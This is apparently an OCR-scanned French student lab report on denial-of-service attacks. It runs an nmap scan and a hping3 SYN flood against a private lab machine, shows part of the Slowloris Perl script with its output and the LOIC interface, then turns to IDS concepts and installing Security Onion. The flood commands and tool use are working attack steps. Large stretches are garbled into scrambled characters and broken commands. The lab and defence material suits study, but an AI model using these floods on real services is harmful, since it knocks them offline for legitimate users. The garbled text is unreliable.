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1.t NBaSyidlrdrazy RS f QI (
Une attaque par déni de service (denial of serviceattack, d'ou I'abréviation Do est une

attaque informatique ayant pour but de rendre indisponibleun service,d'empécherles
utilisateurslégitimesd'un servicedef Qdzii A f A & S NJ

Lorsd'une attague DDoSune multitude de requétessont envoyéessimultanément,depuis
de multiples points du Net. L'intensité de ce "tir croisé"rend le serviceinstable, ou pire,
indisponible.

Lesattaquespar DDoSpeuvent paralysertoute votre activité en ligne, qu'ellesciblent vos
serveursiWeb,DNSou Rdpplications.

2. Présentation des outils utilisés
2.1. Loic

LOIC, pour Low Orbit lon Cannon, est une application de test de réseau, écrite en C# et
développée par Praetox Technologies. Cette application tente d'attaquer par déni de service
le site ciblé en inondant le serveavec des paquets TCP, des paquets UDP, dont des
requétes HTTP avec l'intention de perturber le service d'un hote particulier.
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2.3. Slowloris
/| QSald dzy &aOAND ENIL SONKESYI Nw{w I 1 S0 ljdzA  LISNXYSG |
connexions simultanées au serveur victime, et de garder ces connexions actives aussi
longtemps que possibled- NJ £ QSy @2A RS NBljdzsiSa KGiGLI adz00Sa
f Qdzy RS& RizyHESABULEa OLINIza f LISNXYSG RQ20O00dzLISNJI £ |
ainsi le déni de service est réalisé.

Desktop : bash

Slowloris -

Slowloris.pl -dns [www.examp -options

help with options.

2.4. Hping3

Hping3 est un outiui permetd'envoyer des paquets ICMP / UDP / TCP personnalisés et
d'afficherla réponse de la ciblR Q dzy' S Virhilgire & IN&mriandpingavec des
réponses ICMP.
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3. Topologie du réseau
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Figurel Attaque DDoS organisée
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Figure2 Attaque DDoS en utilisant un réseau de Zombies (Botnets)
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Figure3 Attaque DDoS en utilisant des Reflectors

4. { OSY I NA2 RQl GGl lj dzS
hping3 :

-1-Pour réaliser une attaque, la premiéere étape consiste a scanner les ports ouverts d'une
machine donnée pour en chercher les vulnérabilités. Pour cela, nous avons utilidé I'out
nmap:

khaoula@ubuntu2:~$ nmap -p 1-100 192.168.1.3

Starting Mmap 5.21 ( http://nmap.org ) at 2014-12-09 11:00 PST
Nmap scan report for 192.168.1.3

Host is up (0.0013s latency).

Mot shown: 99 filtered ports

PORT STATE SERVICE

BO/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds

=>0n remarque que le port 80 est ouvert.
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Notre victime sera la machine 192.168.81.131
Notre machine pirate sera 192.168.112.244

-2-On installe hping3:

khaoula@ubuntu2:~% sude apt-get install hpingEl

-3-Maintenant passons a l'attaque

khaoula@ubuntu2:~$ sudo hping3 --flood -p 88 -S 192.168.81.131
sudo: unable to resolve host ubuntuz

HPING 192.168.81.131 (eth® 192.168.81.131): S set, 40 headers + @ data bytes
hping in flood mode, no replies will be shown

Cette commande va envoyer des paquets TCP SNN$uS L2 NI RS fI OAo6f ST OF
RSYFIYyRS&a RS O2yySEA2ya Sy 062dz0ftS SiG &atrya ST¥FSO
O00Said dzyS FGidlljdzS 5h{ RS (el b{,b C[hh5hHo

Cette attaque a pour but de saturer la bande passante, le processeur et la mémoire de la

cible et dans certains cas, si le serveur cible n'est pas assez puissant il peut méme planter par
manque de ressources.

1 On peut analyser le traffic envoyer depuis 192.168.112.244 vers 192.168.81.131 en
utilisant wireshark:

khaoula@ubuntu2:~$ sudo wireshark
& & = Q T & BB -

Filter: Expression...
No. Time Source Destination Protocol Length Info
27313 9.840512 192.1e8.112. 244 192.168.81.131 ICP 34 7466 = nttp [5
27514 9.840517 192.168.112.244 192.168.81.131 TCP 54 7467 > http [S
27515 9.040523 192.168.112.244 192.168.81.131 TCP 54 7468 = http [S
27516 9.0840529 192.168.112.244 192.168.81.131 TCP 54 7469 = http [S
27517 9.040534 192.168.112.244 192.168.81.131 TCP 54 7470 = http [S
27518 9.040540 192.168.112.244 192.168.81.131 TCP 54 7471 = http [S
27519 9.040545 192.168.112.244 192.168.81.131 TCP 54 7472 = http [S
27520 9.0840551 192.168.112.244 192.168.81.131 TCP 54 rise = http [S
27521 9.0840556 192.168.112.244 192.168.81.131 TCP 54 7474 = http [S
27522 9.0840562 192.168.112.244 192.168.81.131 TCP 54 7475 = http [S
27523 9.040568 192.168.112.244 192.168.81.131 TCP 54 7476 = http [S
9 [

.B4730 2.168.81.131 2.168.112.244

60 http >

51643

1 Vérifiant si la machineictime est encore disponible ou pas:

Si on lance une requéte ping depuis une autre machine vers la machine victime on peut
remarquer qu'elle n'est plus disponible (exp depuis 192.168.112.143 vers 192.168.81.131) :
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C:sUzerssuser2>ping 192_.168_.81.131

Envoi d'une requéte 'Ping' 192.168.81.131 avec 32 octets de données =
Délai d'attente de la demande dépassé.
Délai d'attente de la demande dépassé.
Délai d'attente de la demande dépassé.
Délai d'attente de la demande dépassé.

Statisztigues Ping pouwr 192_.168.81.131:
Paguets = enuvoyés = 4, recus = B, perdus = 4 (perte 188:x>,

1 On arréte l'attaque hping3 :

ip=192.168.81.131 ttl=128 1d=22005 sport=80 flags=RA =0 win=64240
ip=192.168.81.131 ttl=128 1d=22006 sport=88 flags=RA =0 win=64240
ip=192.168.81.131 ttl=128 1d=22007 sport=88 flags=RA =0 win=64240
6 ip=192.168.81.131 ttl=128 id=22008 sport=80 flags=RA =0 win=64240

--- 192.168.81.131 hping statistic ---

37713 packets transmitted, 20874 packets received, 95% packet loss
round-trip minfavg/max = 0.0/0.8/0.0 ms

1 On vérife bien que la machine victime depuis disponible de nouveau:

C:sUsers‘user2>ping 192_.168.81.131

Envoi d'une requéte 'Ping' 192.168.81.131 avec 32 octets de données @
Réponse de 192.168.81.131 octets=32 temps=1 msz TTL=128
Réponse de 192.168.81.131 octets=32 temps=15 mz TTL=128
Réponse de 192.168.81.131 octets=32 temps=14 mz TTL=128

Réponse de 192.168.81.131 octets=32 temps=1 mz TTL=128

Statistiques Ping pour 192 _168.81. 131-

Paguets = envoyés = 4, recus = 4, perdus = A (perte 1
Durée apprux1mat1ue des huuc13° en m1111°ecund3°

Minimum ims, Maximum = 15ms. Moyenne = 7ms

Slowloris

Slowlorisest un script écrit ePerlpar Robert "RSnake" Hansen qui permet a une seule
machine de fae tomber un serveur web en utilisant une bande passante minimale et d'effet
de bords sur des services et des ports sans rafiport

Slowloris utilise une attaque de type Bdattaque par déni de service), il affecte en
particulier les serveurBpachequi représentent 67% des serveurs sur le net.

1 On créer le fichier Slowloris.pl :


http://fr.wikipedia.org/wiki/Perl_(langage)
http://fr.wikipedia.org/wiki/Slowloris#cite_note-ha.ckers.org-1
http://fr.wikipedia.org/wiki/Apache_HTTP_Server
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rch Tools

‘j_OpenviSa\'EI,_'gﬂlw Eac’|n'-|_|-4__||0\%
- S

slowloris.pl 3%

J! /usr/bin/perl -w
use strict;

use I0::Socket::INET;
use I0::Socket::SSL;
use Getopt::lLong;

use Config;

$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors

print <<EOTEXT;

CCCCCCCCCCOOCCo0000888Y @8\ @38880000CC0O00888888888\ @\ @\ @\ @\ @\ @\ @\@\@8\@8\@\@\@\@88800Conoccce: = :
CCCCCCCCCCCCCCCn0naasy, [@sa8a888000CCCO0008888888888588[@88888 @\ @\ @\@\@\@\@888\@800CCoococc: & :
CCCCCCCCooccccnnasy @y, @as88880000000000888888808888888808080008888\@884@\@800C000CoC: :
CCCCooooooCCCO88Y@\(E8\@88\@8880000000888888888880000000000CCCCCODDNBE8Y@8888000CC: -
CooCoCoooCCCOB\ /@58 [@888888800088588688888888888880000CCCoo000000CC0008E88888CoCc00C:
ooooo00CoCCCB8\@86588\(@8680086888588688888888080888800CCCononoccccccCO00088\@8880CoccCcC
0000CCO0B0868E888888@8808008888800888088880000888880Cocoococ: : ccooC0080888888Co00
oCCCCCCO8000CCCO088Y@880000008888068800000C008888808000CooCocc: : :coCO0088888800CC
oCCCCCO00880Co0C088Y@800000088088868800CCCCoCO00EE880000000Coc: : : : coCO0008880880C
oCCCCO0BB800CCCCO08Y@\@B00C0000068886888000cccccoCO0808008800000Cc. :ccooCCO00088B8800

CCC00008800CCO008\@88800CCo00C00888800C: : .. .::co00888880888000: cocooCCCCO00000880
CCC008888800C008Y@\@8880Ccc: : : cCOOBBE0C. . ... ....cC00000000000C. : coonoCCCOOD000000
00000088888000084@8\@800oc: . :...c008088c. . .co0008880000Co0000CccoCO0000CO000
00000888\(@8',@8888888800:. . ...c0BBBOC.. :0000000000CCo0cooCoCoCO0000000
C000888\([@8588888888800: . .08888C: .oC0o. ...cCCCOOOcooooocccooooooooCCCOO
CCCCD0888888088888800. .0800. .c08800: t. .i..ccoCCCooCooccooccccooonoCCCC

1 Ontélécharge les paquets nécessaires:

192.168.81.131
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Welcome to Slowloris - the low bandwidth, vy reedy and poisonous HTTP-client

Unknown option: cash

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

Connecting to 192.168.8
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
Building
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LOIC( Low Orbit lon Cannon):

Un outil de déni de service distribué de nouvelle génération

Ce programme permet a une personne non technicienne de participer a des attaques de

déni deservice distribué@DO$ depuis son ordinateur. Ce qui le différentie de la plupart

RSa&a 2dziAfa RQIFGOIIdzS RS OS (GelLS RS2t RAALRYAOT
9 On installe I'outil loic:

o- Low Orbit lon Cannon | When ha ns, air strikes and nukes fails | v. 1.0.7.

1. Select your target 2. Ready?

URL | Lock
— IMMA CHARGIN MAH LAZER
P on
Selected target
N O N E "

ack options
TCP / UDP message

200 L A e too. Desudesudesu~

<= faster Speed slower==

Attack status

|m‘d§@ml idle Connecting Requesting Downloading Downioaded Requested Failed
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1 et puis on démarre l'attaque:

192.168.81.131

Acats fne oo Desudesudesu-

Praetoxicom

5.t NBOGSYyGiAz2y RS fQl Gdl
Nous cette partie nous allons tenter de bloquer les attaques DDoS en utilisant un syieme
RSOGSOUAZ2Y (IBSRAY G NHzAA2Y A

5.1. Définition

Un IDS (Intrusion Detectign@ a  SY0 | LINAYOA LI € SYSyYy G LI dzNJ F2y Ol
ou différé les événements en provenance des différents systémes, de détecter et de
LNEGSYANI Sy OFa RS aArdysa RQLGGNIjdSa GAaAGE 54
équipement pe¥ SG G yi RS adzNBSAfESNI £ QF OGABGAGS RQdzy
RSGUSOGSNI G2dz0S GSyialriA@S RQAY(UNHzAZY SiG S@Syid:
Cela a pour but de repérer les activités et événements anormaux, suspects. Cela permet
ainsiune®iG A2y RS LINBGSYydAzy &dz2NJ £ Sa4 RAFFSNBYyGA N3

10
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5.2. Prévention contre les Déni de Service de type
Applicatifs

t 2dzNJ NJ LISt 2 OS 3ISYyNB RQIFGGFIdzS @AasS t SELX 2Al
par exemple les dépassements de tampon (@ufbverflow) ou encore la saturation de
NE&a&ag2dNDODSa /t! e Lt SELX2AGS tSa FIArofSaasa R
AYLX SYSyGlrdAazyr Af Sad R2yO ysOSaalANB LJ32dz2NJ S
systéme régulierement pour corriger legehtuelles failles logicielles ou systemes. Mais le

probléme majeur qui se pose est souvent celui de la mauvaise configuration des services par

f QF RYAYAAGNT §SdzNJ ljdzA O2yadAadadzS 1 LINARYOALN £S ¢
malheureusement® SNNB dzNJ S& G KdzYlI AyS SiG Af Said RAFTFAOA
place une configuration bien sécurisée.

'y Yz2eSy STFAOFOS R
aeaisyS RS RQlylfea Si tRsPn BegdidhGBystet)yaindk QA y (i NHz3
j dzQdzy aeaisyYS RS LINBGSyilAzy Lt{ O6LYGNHzAZY t NR

S &S LINRBPBGS3ISNI RSa aGdlljdsSSa
S

5.3. LesIDS
[ Sa aeaisySa RS RS(SOlA2Yy R AYy(liNHzaA2Y 62dz SyOs
furtive les activités anormales ou suspectes et permettent adiavoir une action de
prévention sur les risques d'intrusion en écoutant le trafic réseau.

[ Sa L5{ lylrfteasS Si O2yiN3xftS S GNIFAO NBaSI dz=
générant des alertes lorsque des paquets suspects sont détectés.

En modeCapture (ou encore Sniffer) qui permet de récupérer tout le trafic réseau en temps
réel. Il utilise pour cela la bibliothéque standard de capture de paquet libpcap.

La bibliothéque de capture de paquets Packet Capture Library est portée sur quasiment

touted f Sa LI FGST2NX¥Saz OS ljdzh LISNXYSG Sy 3ISYSNI €
plates formes. Par exemple, sous Linux, le fonctionnement de la capture d'un NIDS est de

copier tout paquet arrivant au niveau de la couche liaison de données du systeme
d'exploitation. Une fois ce paquet copié, il lui est appliqué un filtre BPF (Berkley Packet

Filter), nécessaire a l'affinage de ce que I'IDS cherche a récupérer comme information. Il est

aussi a noter que le trafic analysé n'est pas forcément égal a aeluwafic entrant, étant

donné que la libpcap agit a une couche en dessous dufparégui agit au niveau réseau).

En mode Analyse dont on distingue deux approches complémentaires :
- [ FylrteasS LI N {AIyl Gddz2NBa ljdza LISNX¥YSi RS
NEOKSNOKSNI RSa F2N¥Sa R SosySySyida Ol
bibliotheques de signatures : Exemple: « /bin/sh » vers un serveur web.

Avantages

- Trés puissant pour reconnaitre une attaque sans générer un trop grand nombre de
fauxpositifs.

11
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-DiF Ay 2a0A1jdzS NIYLARSYSyG f dziAfAialrdAzy R dzyS
Inconvénients

- Impossibilité de détecter des attaques non connues ou récentes I Mise a jour constante !

t NP6t s§YS RQSOlIarz2yod

5.4. Choix de Techonogie (Security Onion)

Security Oniorest une distribution Linux pour la détection d'intrusion, surveillance de la
sécurité du réseau et la gestion des journaux. Il est basé sur Ubuntu et contient Snort,
Suricata, Bro, Sguil, Squert,

Snorby, ELSA, Xplico, NetworkMiner, et de nombreux autg#s de sécurité. Security
Onion est une plateforme qui vous permet de surveiller votre réseau pour les alertes de
sécurité. Il est assez simple a exécuter dans les petits environnements sans beaucoup de
probléemes et permet aux utilisateurs avancés aiployer des systéemes distribués qui
peuvent étre utilisés dans des environnements de type de l'entreprise du réseau.

Installation de Security Onion

1-TéléchargerSecurity Onion de http://securityonion.blogspot.com/.

Installation
Securty Onion 12.04 instalation Procedure United Sep 13, 2013 by dov b omel sors

What's the QUICKEST way to install Security Onion?

1. Downiosd our 1SO image (Dased on Xutunty 12 04 64-b) fraim Scurcefonme oF via Toment and verly the chacksum using e checksunms
provided on the Scurcelonge page.

2. Boct the 1SO mage. folow P prompts in $e Xubunty rstalior 10 Fstal 10 your hand drive. and then roboot Info your naw installation.

3. Doutlo<cick the Setup wizard on e Deskiop and foliow o prompss.

praon? Dowrdoad sacurtyonion-13.04.3-30130004.m2 {1.3 GO

£

Parnee ¥ Modited * Stew v Domnioads *

2- Installer la machine sur VMWare WorkstatioBecurity Onion est basée sur Ubuntu 64
bits, nous choisissons donc Ubuntu-Bé R ya S AssuleiSouRk<glectiohnez une
architecture 64 bits (Important).

12
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Choose Operating System

Select the operating system to be used In this virtual machine

Select the operating system for this virtual machine:

Microsoft Windows * SUSE Linux

Apple Mac S X " SUSE Linux 64-bit

Unax ' Turbolinux

Novell NetWare * Turbolinux 64-bit

Solaris * Ubuntu

Other * Other Linux 3.x kerel
Other Linux 3.x kemel 64-bit
Other Linux 2.6.x kernel
Other Linux 2.6.x kernel 64-bit
Other Linux 2.4.x kernel
Other Linux 2.4.x kernel 64-bit
Other Linux 2.2.x kernel

3- Lorsque le systéme démarre pour la premiére fois, sélectionnez I'option 1 pour le systéme
Live. De cette fagon, nous pouvons jouer avec le premier systeme. Nous pouvons également

l'installer directement sur votre disque dur (ou un disque dur virtuel) drsiémarrage du
systeme.

Cunue S Eoliu V2 e

yruuiies utaly
Wirsetly

4- Lorsque vous étes prét a installer le systéeme, sélectionnez le script d'installation sur le

bureau. Le script d'installation vous guidera a travers une série de mesures sur l'installation
du systéme de fagcon permanente.

13
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Preparing to install SecurityOnion

of has atleast 6.6 GB available drive space

o isconnected to the Intemet

A

5-1S 3ASalGAz2yyl AW d@ridgfadornient lvaus shyhaitez partitionner le

disque dur. Comme@st une machine virtuelle, je vais laisser le format d'installation mon
disque virtuel et l'utiliser dans son intégralité.

Installation type

14
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6-Rappelez/ous le non d'utilisateur que vous choisissez lors de l'installation du systéme. Le
systéme ne met pas en cache votre nom d'utilisateur lors des redémarrages.

7- Lorsque l'installation est terminée, vous serez invité a redémarrer votre systeme.

Configurationde Security Onion

1-Double -cliquez sur le script d'installation sur le bureau.

2- Entrez votre mot de passe root.

15



